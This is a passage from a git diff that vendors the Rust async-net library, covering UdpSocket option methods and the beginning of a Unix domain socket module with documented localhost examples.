+ /// If the received message is too long to fit into the buffer, it may be truncated. + /// + /// Successive calls return the same message. This is accomplished by passing `MSG_PEEK` as a + /// flag to the underlying `recvfrom` system call. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// + /// let mut buf = vec![0u8; 1024]; + /// let (n, addr) = socket.peek_from(&mut buf).await?; + /// println!("Peeked {} bytes from {}", n, addr); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn peek_from(&self, buf: &mut [u8]) -> io::Result<(usize, SocketAddr)> { + self.inner.get_ref().peek_from(buf) + } + + /// Sends data to the given address. + /// + /// On success, returns the number of bytes sent. + /// + /// If `addr` yields multiple addresses, the message will only be sent to the first address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.send_to(b"hello", "127.0.0.1:4242").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send_to(&self, buf: &[u8], addr: A) -> io::Result { + let addr = match addr.to_socket_addrs().await?.next() { + Some(addr) => addr, + None => { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "no addresses to send data to", + )) + } + }; + + self.inner.send_to(buf, addr).await + } + + /// Receives a single datagram message from the connected address. + /// + /// On success, returns the number of bytes received. + /// + /// This method must be called with a valid byte buffer of sufficient size to hold a message. + /// If the received message is too long to fit into the buffer, it may be truncated. + /// + /// The [`connect()`][`UdpSocket::connect()`] method connects this socket to an address. This + /// method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.connect("127.0.0.1:8080").await?; + /// + /// let mut buf = vec![0u8; 1024]; + /// let n = socket.recv(&mut buf).await?; + /// println!("Received {} bytes", n); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv(&self, buf: &mut [u8]) -> io::Result { + self.inner.recv(buf).await + } + + /// Receives a single datagram from the connected address without removing it from the queue. + /// + /// On success, returns the number of bytes peeked. + /// + /// This method must be called with a valid byte buffer of sufficient size to hold a message. + /// If the received message is too long to fit into the buffer, it may be truncated. + /// + /// Successive calls return the same message. This is accomplished by passing `MSG_PEEK` as a + /// flag to the underlying `recv` system call. + /// + /// The [`connect()`][`UdpSocket::connect()`] method connects this socket to an address. This + /// method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.connect("127.0.0.1:8080").await?; + /// + /// let mut buf = vec![0u8; 1024]; + /// let n = socket.peek(&mut buf).await?; + /// println!("Peeked {} bytes", n); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn peek(&self, buf: &mut [u8]) -> io::Result { + self.inner.peek(buf).await + } + + /// Sends data to the connected address. + /// + /// The [`connect()`][`UdpSocket::connect()`] method connects this socket to an address. This + /// method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.connect("127.0.0.1:8080").await?; + /// socket.send(b"hello").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send(&self, buf: &[u8]) -> io::Result { + self.inner.send(buf).await + } + + /// Gets the value of the `SO_BROADCAST` option for this socket. + /// + /// If set to `true`, this socket is allowed to send packets to a broadcast address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// println!("SO_BROADCAST is set to {}", socket.broadcast()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn broadcast(&self) -> io::Result { + self.inner.get_ref().broadcast() + } + + /// Sets the value of the `SO_BROADCAST` option for this socket. + /// + /// If set to `true`, this socket is allowed to send packets to a broadcast address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.set_broadcast(true)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_broadcast(&self, broadcast: bool) -> io::Result<()> { + self.inner.get_ref().set_broadcast(broadcast) + } + + /// Gets the value of the `IP_MULTICAST_LOOP` option for this socket. + /// + /// If set to `true`, multicast packets will be looped back to the local socket. + /// + /// Note that this option may not have any affect on IPv6 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// println!("IP_MULTICAST_LOOP is set to {}", socket.multicast_loop_v4()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn multicast_loop_v4(&self) -> io::Result { + self.inner.get_ref().multicast_loop_v4() + } + + /// Sets the value of the `IP_MULTICAST_LOOP` option for this socket. + /// + /// If set to `true`, multicast packets will be looped back to the local socket. + /// + /// Note that this option may not have any affect on IPv6 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.set_multicast_loop_v4(true)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_multicast_loop_v4(&self, multicast_loop_v4: bool) -> io::Result<()> { + self.inner + .get_ref() + .set_multicast_loop_v4(multicast_loop_v4) + } + + /// Gets the value of the `IP_MULTICAST_TTL` option for this socket. + /// + /// Indicates the time-to-live value of outgoing multicast packets for this socket. The default + /// value is 1, which means that multicast packets don't leave the local network unless + /// explicitly requested. + /// + /// Note that this option may not have any effect on IPv6 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// println!("IP_MULTICAST_TTL is set to {}", socket.multicast_loop_v4()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn multicast_ttl_v4(&self) -> io::Result { + self.inner.get_ref().multicast_ttl_v4() + } + + /// Sets the value of the `IP_MULTICAST_TTL` option for this socket. + /// + /// Indicates the time-to-live value of outgoing multicast packets for this socket. The default + /// value is 1, which means that multicast packets don't leave the local network unless + /// explicitly requested. + /// + /// Note that this option may not have any effect on IPv6 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.set_multicast_ttl_v4(10)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_multicast_ttl_v4(&self, ttl: u32) -> io::Result<()> { + self.inner.get_ref().set_multicast_ttl_v4(ttl) + } + + /// Gets the value of the `IPV6_MULTICAST_LOOP` option for this socket. + /// + /// Controls whether this socket sees the multicast packets it sends itself. + /// + /// Note that this option may not have any effect on IPv4 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// println!("IPV6_MULTICAST_LOOP is set to {}", socket.multicast_loop_v6()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn multicast_loop_v6(&self) -> io::Result { + self.inner.get_ref().multicast_loop_v6() + } + + /// Sets the value of the `IPV6_MULTICAST_LOOP` option for this socket. + /// + /// Controls whether this socket sees the multicast packets it sends itself. + /// + /// Note that this option may not have any effect on IPv4 sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.set_multicast_loop_v6(true)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_multicast_loop_v6(&self, multicast_loop_v6: bool) -> io::Result<()> { + self.inner + .get_ref() + .set_multicast_loop_v6(multicast_loop_v6) + } + + /// Gets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// println!("IP_TTL is set to {}", socket.ttl()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn ttl(&self) -> io::Result { + self.inner.get_ref().ttl() + } + + /// Sets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.set_ttl(100)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_ttl(&self, ttl: u32) -> io::Result<()> { + self.inner.get_ref().set_ttl(ttl) + } + + /// Executes an operation of the `IP_ADD_MEMBERSHIP` type. + /// + /// This method specifies a new multicast group for this socket to join. Argument `multiaddr` + /// must be a valid multicast address, and `interface` is the address of the local interface + /// with which the system should join the multicast group. If it's equal to `INADDR_ANY` then + /// an appropriate interface is chosen by the system. + pub fn join_multicast_v4(&self, multiaddr: Ipv4Addr, interface: Ipv4Addr) -> io::Result<()> { + self.inner + .get_ref() + .join_multicast_v4(&multiaddr, &interface) + } + + /// Executes an operation of the `IP_DROP_MEMBERSHIP` type. + /// + /// This method leaves a multicast group. Argument `multiaddr` must be a valid multicast + /// address, and `interface` is the index of the interface to leave. + pub fn leave_multicast_v4(&self, multiaddr: Ipv4Addr, interface: Ipv4Addr) -> io::Result<()> { + self.inner + .get_ref() + .leave_multicast_v4(&multiaddr, &interface) + } + + /// Executes an operation of the `IPV6_ADD_MEMBERSHIP` type. + /// + /// This method specifies a new multicast group for this socket to join. Argument `multiaddr` + /// must be a valid multicast address, and `interface` is the index of the interface to join + /// (or 0 to indicate any interface). + pub fn join_multicast_v6(&self, multiaddr: &Ipv6Addr, interface: u32) -> io::Result<()> { + self.inner.get_ref().join_multicast_v6(multiaddr, interface) + } + + /// Executes an operation of the `IPV6_DROP_MEMBERSHIP` type. + /// + /// This method leaves a multicast group. Argument `multiaddr` must be a valid multicast + /// address, and `interface` is the index of the interface to leave. + pub fn leave_multicast_v6(&self, multiaddr: &Ipv6Addr, interface: u32) -> io::Result<()> { + self.inner + .get_ref() + .leave_multicast_v6(multiaddr, interface) + } +} + +impl From> for UdpSocket { + fn from(socket: Async) -> UdpSocket { + UdpSocket::new(Arc::new(socket)) + } +} + +impl TryFrom for UdpSocket { + type Error = io::Error; + + fn try_from(socket: std::net::UdpSocket) -> io::Result { + Ok(UdpSocket::new(Arc::new(Async::new(socket)?))) + } +} + +impl From for Arc> { + fn from(val: UdpSocket) -> Self { + val.inner + } +} + +#[cfg(unix)] +impl AsRawFd for UdpSocket { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for UdpSocket { + fn as_fd(&self) -> BorrowedFd<'_> { + self.inner.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for UdpSocket { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Self::try_from(std::net::UdpSocket::from(value)) + } +} + +#[cfg(windows)] +impl AsRawSocket for UdpSocket { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} + +#[cfg(windows)] +impl AsSocket for UdpSocket { + fn as_socket(&self) -> BorrowedSocket<'_> { + self.inner.get_ref().as_socket() + } +} + +#[cfg(windows)] +impl TryFrom for UdpSocket { + type Error = io::Error; + + fn try_from(value: OwnedSocket) -> Result { + Self::try_from(std::net::UdpSocket::from(value)) + } +} diff --git a/lib/malio/async-net/src/unix.rs b/lib/malio/async-net/src/unix.rs new file mode 100644 index 0000000..d450937 --- /dev/null +++ b/lib/malio/async-net/src/unix.rs @@ -0,0 +1,776 @@ +//! Unix domain sockets. +//! +//! This module is an async version of [`std::os::unix::net`]. + +use std::fmt; +use std::io::{self, Read as _, Write as _}; +use std::net::Shutdown; +#[cfg(unix)] +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; +#[cfg(windows)] +use std::os::windows::io::{AsRawSocket, RawSocket}; +use std::panic::{RefUnwindSafe, UnwindSafe}; +use std::path::Path; +use std::pin::Pin; +use std::sync::Arc; +use std::task::{Context, Poll}; + +#[doc(no_inline)] +pub use std::os::unix::net::SocketAddr; + +use async_io::Async; +use futures_lite::{prelude::*, ready}; + +/// A Unix server, listening for connections. +/// +/// After creating a [`UnixListener`] by [`bind`][`UnixListener::bind()`]ing it to an address, it +/// listens for incoming connections. These can be accepted by calling +/// [`accept()`][`UnixListener::accept()`] or by awaiting items from the async stream of +/// [`incoming`][`UnixListener::incoming()`] connections. +/// +/// Cloning a [`UnixListener`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. +/// +/// # Examples +/// +/// ```no_run +/// use async_net::unix::UnixListener; +/// use futures_lite::prelude::*; +/// +/// # futures_lite::future::block_on(async { +/// let listener = UnixListener::bind("/tmp/socket")?; +/// let mut incoming = listener.incoming(); +/// +/// while let Some(stream) = incoming.next().await { +/// let mut stream = stream?; +/// stream.write_all(b"hello").await?; +/// } +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Clone, Debug)] +pub struct UnixListener { + inner: Arc>, +} + +impl UnixListener { + fn new(inner: Arc>) -> UnixListener { + UnixListener { inner } + } + + /// Creates a new [`UnixListener`] bound to the given path. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixListener; + /// use futures_lite::prelude::*; + /// + /// # futures_lite::future::block_on(async { + /// let listener = UnixListener::bind("/tmp/socket")?; + /// let mut incoming = listener.incoming(); + /// + /// while let Some(stream) = incoming.next().await { + /// let mut stream = stream?; + /// stream.write_all(b"hello").await?; + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(path: P) -> io::Result { + let listener = Async::::bind(path)?; + Ok(UnixListener::new(Arc::new(listener))) + } + + /// Accepts a new incoming connection. + /// + /// Returns a TCP stream and the address it is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = UnixListener::bind("/tmp/socket")?; + /// let (stream, addr) = listener.accept().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn accept(&self) -> io::Result<(UnixStream, SocketAddr)> { + let (stream, addr) = self.inner.accept().await?; + Ok((UnixStream::new(Arc::new(stream)), addr)) + } + + /// Returns a stream of incoming connections. + /// + /// Iterating over this stream is equivalent to calling [`accept()`][`UnixListener::accept()`] + /// in a loop. The stream of connections is infinite, i.e awaiting the next connection will + /// never result in [`None`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixListener; + /// use futures_lite::prelude::*; + /// + /// # futures_lite::future::block_on(async { + /// let listener = UnixListener::bind("/tmp/socket")?; + /// let mut incoming = listener.incoming(); + /// + /// while let Some(stream) = incoming.next().await { + /// let mut stream = stream?; + /// stream.write_all(b"hello").await?; + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn incoming(&self) -> Incoming<'_> { + Incoming { + incoming: Box::pin(self.inner.incoming()), + } + } + + /// Returns the local address this listener is bound to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = UnixListener::bind("/tmp/socket")?; + /// println!("Local address is {:?}", listener.local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } +} + +impl From> for UnixListener { + fn from(listener: Async) -> UnixListener { + UnixListener::new(Arc::new(listener)) + } +} + +impl TryFrom for UnixListener { + type Error = io::Error; + + fn try_from(listener: std::os::unix::net::UnixListener) -> io::Result { + Ok(UnixListener::new(Arc::new(Async::new(listener)?))) + } +} + +impl From for Arc> { + fn from(val: UnixListener) -> Self { + val.inner + } +} + +#[cfg(unix)] +impl AsRawFd for UnixListener { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for UnixListener { + fn as_fd(&self) -> BorrowedFd<'_> { + self.inner.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for UnixListener { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Self::try_from(std::os::unix::net::UnixListener::from(value)) + } +} + +#[cfg(windows)] +impl AsRawSocket for UnixListener { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} + +/// A stream of incoming Unix connections. +/// +/// This stream is infinite, i.e awaiting the next connection will never result in [`None`]. It is +/// created by the [`UnixListener::incoming()`] method. +pub struct Incoming<'a> { + incoming: Pin< + Box< + dyn Stream>> + Send + Sync + 'a, + >, + >, +} + +impl Stream for Incoming<'_> { + type Item = io::Result; + + fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + let res = ready!(Pin::new(&mut self.incoming).poll_next(cx)); + Poll::Ready(res.map(|res| res.map(|stream| UnixStream::new(Arc::new(stream))))) + } +} + +impl fmt::Debug for Incoming<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Incoming {{ ... }}") + } +} + +/// A Unix connection. +/// +/// A [`UnixStream`] can be created by [`connect`][`UnixStream::connect()`]ing to an endpoint or by +/// [`accept`][`UnixListener::accept()`]ing an incoming connection. +/// +/// [`UnixStream`] is a bidirectional stream that implements traits [`AsyncRead`] and +/// [`AsyncWrite`]. +/// +/// Cloning a [`UnixStream`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. The reading and writing portions of the connection can also +/// be shut down individually with the [`shutdown()`][`UnixStream::shutdown()`] method. +/// +/// # Examples +/// +/// ```no_run +/// use async_net::unix::UnixStream; +/// use futures_lite::prelude::*; +/// +/// # futures_lite::future::block_on(async { +/// let mut stream = UnixStream::connect("/tmp/socket").await?; +/// stream.write_all(b"hello").await?; +/// +/// let mut buf = vec![0u8; 1024]; +/// let n = stream.read(&mut buf).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct UnixStream { + inner: Arc>, + readable: Option>, + writable: Option>, +} + +impl UnwindSafe for UnixStream {} +impl RefUnwindSafe for UnixStream {} + +impl UnixStream { + fn new(inner: Arc>) -> UnixStream { + UnixStream { + inner, + readable: None, + writable: None, + } + } + + /// Creates a Unix connection to given path. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = UnixStream::connect("/tmp/socket").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn connect>(path: P) -> io::Result { + let stream = Async::::connect(path).await?; + Ok(UnixStream::new(Arc::new(stream))) + } + + /// Creates a pair of connected Unix sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let (stream1, stream2) = UnixStream::pair()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn pair() -> io::Result<(UnixStream, UnixStream)> { + let (a, b) = Async::::pair()?; + Ok((UnixStream::new(Arc::new(a)), UnixStream::new(Arc::new(b)))) + } + + /// Returns the local address this socket is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = UnixStream::connect("/tmp/socket").await?; + /// println!("Local address is {:?}", stream.local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } + + /// Returns the remote address this socket is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = UnixStream::connect("/tmp/socket").await?; + /// println!("Connected to {:?}", stream.peer_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn peer_addr(&self) -> io::Result { + self.inner.get_ref().peer_addr() + } + + /// Shuts down the read half, write half, or both halves of this connection. + /// + /// This method will cause all pending and future I/O in the given directions to return + /// immediately with an appropriate value (see the documentation of [`Shutdown`]). + /// + /// ```no_run + /// use async_net::{Shutdown, unix::UnixStream}; + /// + /// # futures_lite::future::block_on(async { + /// let stream = UnixStream::connect("/tmp/socket").await?; + /// stream.shutdown(Shutdown::Both)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn shutdown(&self, how: Shutdown) -> io::Result<()> { + self.inner.get_ref().shutdown(how) + } +} + +impl fmt::Debug for UnixStream { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + self.inner.fmt(f) + } +} + +impl Clone for UnixStream { + fn clone(&self) -> UnixStream { + UnixStream::new(self.inner.clone()) + } +} + +impl From> for UnixStream { + fn from(stream: Async) -> UnixStream { + UnixStream::new(Arc::new(stream)) + } +} + +impl TryFrom for UnixStream { + type Error = io::Error; + + fn try_from(stream: std::os::unix::net::UnixStream) -> io::Result { + Ok(UnixStream::new(Arc::new(Async::new(stream)?))) + } +} + +impl From for Arc> { + fn from(val: UnixStream) -> Self { + val.inner + } +} + +#[cfg(unix)] +impl AsRawFd for UnixStream { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for UnixStream { + fn as_fd(&self) -> BorrowedFd<'_> { + self.inner.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for UnixStream { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Self::try_from(std::os::unix::net::UnixStream::from(value)) + } +} + +#[cfg(windows)] +impl AsRawSocket for UnixStream { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} + +impl AsyncRead for UnixStream { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().read(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.readable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.readable.is_none() { + self.readable = Some(self.inner.clone().readable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.readable { + let res = ready!(Pin::new(f).poll(cx)); + self.readable = None; + res?; + } + } + } +} + +impl AsyncWrite for UnixStream { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().write(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.writable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.writable.is_none() { + self.writable = Some(self.inner.clone().writable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.writable { + let res = ready!(Pin::new(f).poll(cx)); + self.writable = None; + res?; + } + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().flush() { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.writable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.writable.is_none() { + self.writable = Some(self.inner.clone().writable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.writable { + let res = ready!(Pin::new(f).poll(cx)); + self.writable = None; + res?; + } + } + } + + fn poll_close(self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll> { + Poll::Ready(self.inner.get_ref().shutdown(Shutdown::Write)) + } +} + +/// A Unix datagram socket. +/// +/// After creating a [`UnixDatagram`] by [`bind`][`UnixDatagram::bind()`]ing it to a path, data can +/// be [sent to] and [received from] any other socket address. +/// +/// Cloning a [`UnixDatagram`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. The reading and writing portions of the socket can also be +/// shut down individually with the [`shutdown()`][`UnixStream::shutdown()`] method. +/// +/// [received from]: UnixDatagram::recv_from() +/// [sent to]: UnixDatagram::send_to() +/// +/// # Examples +/// +/// ```no_run +/// use async_net::unix::UnixDatagram; +/// +/// # futures_lite::future::block_on(async { +/// let socket = UnixDatagram::bind("/tmp/socket1")?; +/// socket.send_to(b"hello", "/tmp/socket2").await?; +/// +/// let mut buf = vec![0u8; 1024]; +/// let (n, addr) = socket.recv_from(&mut buf).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Clone, Debug)] +pub struct UnixDatagram { + inner: Arc>, +} + +impl UnixDatagram { + fn new(inner: Arc>) -> UnixDatagram { + UnixDatagram { inner } + } + + /// Creates a new [`UnixDatagram`] bound to the given address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::bind("/tmp/socket")?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(path: P) -> io::Result { + let socket = Async::::bind(path)?; + Ok(UnixDatagram::new(Arc::new(socket))) + } + + /// Creates a Unix datagram socket not bound to any address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn unbound() -> io::Result { + let socket = Async::::unbound()?; + Ok(UnixDatagram::new(Arc::new(socket))) + } + + /// Creates a pair of connected Unix datagram sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let (socket1, socket2) = UnixDatagram::pair()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn pair() -> io::Result<(UnixDatagram, UnixDatagram)> { + let (a, b) = Async::::pair()?; + Ok(( + UnixDatagram::new(Arc::new(a)), + UnixDatagram::new(Arc::new(b)), + )) + } + + /// Connects the Unix datagram socket to the given address. + /// + /// When connected, methods [`send()`][`UnixDatagram::send()`] and + /// [`recv()`][`UnixDatagram::recv()`] will use the specified address for sending and receiving + /// messages. Additionally, a filter will be applied to + /// [`recv_from()`][`UnixDatagram::recv_from()`] so that it only receives messages from that + /// same address. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.connect("/tmp/socket")?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn connect>(&self, path: P) -> io::Result<()> { + let p = path.as_ref(); + self.inner.get_ref().connect(p) + } + + /// Returns the local address this socket is bound to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::bind("/tmp/socket")?; + /// println!("Bound to {:?}", socket.local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } + + /// Returns the remote address this socket is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.connect("/tmp/socket")?; + /// println!("Connected to {:?}", socket.peer_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn peer_addr(&self) -> io::Result { + self.inner.get_ref().peer_addr() + } + + /// Receives data from an address. + /// + /// On success, returns the number of bytes received and the address data came from. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::bind("/tmp/socket")?; + /// + /// let mut buf = vec![0; 1024]; + /// let (n, addr) = socket.recv_from(&mut buf).await?; + /// println!("Received {} bytes from {:?}", n, addr); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv_from(&self, buf: &mut [u8]) -> io::Result<(usize, SocketAddr)> { + self.inner.recv_from(buf).await + } + + /// Sends data to the given address. + /// + /// On success, returns the number of bytes sent. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.send_to(b"hello", "/tmp/socket").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send_to>(&self, buf: &[u8], path: P) -> io::Result { + self.inner.send_to(buf, path.as_ref()).await + } + + /// Receives data from the connected address. + /// + /// On success, returns the number of bytes received. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.connect("/tmp/socket")?; + /// + /// let mut buf = vec![0; 1024]; + /// let n = socket.recv(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv(&self, buf: &mut [u8]) -> io::Result { + self.inner.recv(buf).await + } + + /// Sends data to the connected address. + /// + /// On success, returns the number of bytes sent. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::unix::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UnixDatagram::unbound()?; + /// socket.connect("/tmp/socket")?; + /// socket.send(b"hello").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send(&self, buf: &[u8]) -> io::Result { + self.inner.send(buf).await + } + + /// Shuts down the read half, write half, or both halves of this socket. + /// + /// This method will cause all pending and future I/O in the given directions to return + /// immediately with an appropriate value (see the 